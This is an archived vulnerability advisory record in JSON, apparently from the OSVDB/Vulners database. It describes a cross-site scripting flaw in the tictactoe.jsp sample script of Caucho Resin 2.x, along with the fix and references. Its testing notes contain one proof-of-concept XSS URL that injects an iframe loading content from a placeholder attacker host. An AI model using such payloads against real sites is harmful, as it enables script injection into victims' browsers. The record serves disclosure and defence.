{"title": "Caucho Resin tictactoe.jsp move Variable XSS", "published": "2003-10-20T00:00:00", "references": [], "type": "osvdb", "enchantments": {"score": {"value": 0.4, "vector": "NONE", "modified": "2017-04-28T13:19:57"}, "dependencies": {"references": [], "modified": "2017-04-28T13:19:57"}, "vulnersScore": 0.4}, "cvelist": [], "viewCount": 0, "affectedSoftware": [{"version": "2.0 b2", "name": "Resin", "operator": "eq"}, {"version": "2.1.1", "name": "Resin", "operator": "eq"}, {"version": "2.1.2", "name": "Resin", "operator": "eq"}, {"version": "2.1.s020711", "name": "Resin", "operator": "eq"}, {"version": "2.0", "name": "Resin", "operator": "eq"}], "hash": "fbbf187e6b42e03097d1d390911c27ea409f643e1261958b66ec2f26cf9e4e4e", "id": "OSVDB:3393", "modified": "2003-10-20T00:00:00", "history": [], "href": "https://vulners.com/osvdb/OSVDB:3393", "hashmap": [{"hash": "cdf1b674157eaacdb1a3edf01a2a5959", "key": "affectedSoftware"}, {"hash": "f9fa10ba956cacf91d7878861139efb9", "key": "bulletinFamily"}, {"hash": "d41d8cd98f00b204e9800998ecf8427e", "key": "cvelist"}, {"hash": "8cd4821cb504d25572038ed182587d85", "key": "cvss"}, {"hash": "cac98f077cc2888d6d1416fa238a9469", "key": "description"}, {"hash": "393f10a9e774ea1903b40c084e34af40", "key": "href"}, {"hash": "0da6b4a91c4ec9fc50f23e67197f5caf", "key": "modified"}, {"hash": "56765472680401499c79732468ba4340", "key": "objectVersion"}, {"hash": "0da6b4a91c4ec9fc50f23e67197f5caf", "key": "published"}, {"hash": "d41d8cd98f00b204e9800998ecf8427e", "key": "references"}, {"hash": "6477b32c566fa412a53901c5c92fb618", "key": "reporter"}, {"hash": "41ae34413dc71c7704ca128706e6f7b0", "key": "title"}, {"hash": "1327ac71f7914948578f08c54f772b10", "key": "type"}], "objectVersion": "1.2", "edition": 1, "description": "## Vulnerability Description\nCaucho Resin sample scripts contain a flaw that allows a remote Cross Site Scripting attack. This flaw exists because the application does not validate the \"move\" variable upon submission to the \"tictactoe.jsp\" script. This could allow a user to create a specially crafted URL that would execute arbitrary code in a user's browser within the trust relationship between the browser and the server, leading to a loss of integrity.\n## Solution Description\nUpgrade to version 3.0 or higher, as it has been reported to fix this vulnerability. It is also possible to correct the flaw by implementing the following workaround(s): removing the tictactoe.jsp script\n## Short Description\nCaucho Resin sample scripts contain a flaw that allows a remote Cross Site Scripting attack. This flaw exists because the application does not validate the \"move\" variable upon submission to the \"tictactoe.jsp\" script. This could allow a user to create a specially crafted URL that would execute arbitrary code in a user's browser within the trust relationship between the browser and the server, leading to a loss of integrity.\n## Manual Testing Notes\nhttp://[victim]:8080/examples/tictactoe/tictactoe.jsp?move=<iframe%20src=\"http://[attacker]/evil.cgi\"></iframe>\n## References:\nVendor URL: http://www.caucho.com/resin/index.xtp\nSnort Signature ID: 1497\n[Secunia Advisory ID:10031](https://secuniaresearch.flexerasoftware.com/advisories/10031/)\n[Related OSVDB ID: 3394](https://vulners.com/osvdb/OSVDB:3394)\n[Related OSVDB ID: 3390](https://vulners.com/osvdb/OSVDB:3390)\n[Related OSVDB ID: 4983](https://vulners.com/osvdb/OSVDB:4983)\n[Related OSVDB ID: 3388](https://vulners.com/osvdb/OSVDB:3388)\n[Nessus Plugin ID:10815](https://vulners.com/search?query=pluginID:10815)\nKeyword: EXPL-A-2003-026 exploitlabs.com Advisory 026\nISS X-Force ID: 13460\nGeneric Informational URL: http://lists.netsys.com/pipermail/full-disclosure/2003-October/012361.html\nBugtraq ID: 8852\n", "bulletinFamily": "software", "reporter": "Donnie Werner(wood@e2-labs.com)", "cvss": {"vector": "NONE", "score": 0.0}, "lastseen": "2017-04-28T13:19:57"}

{}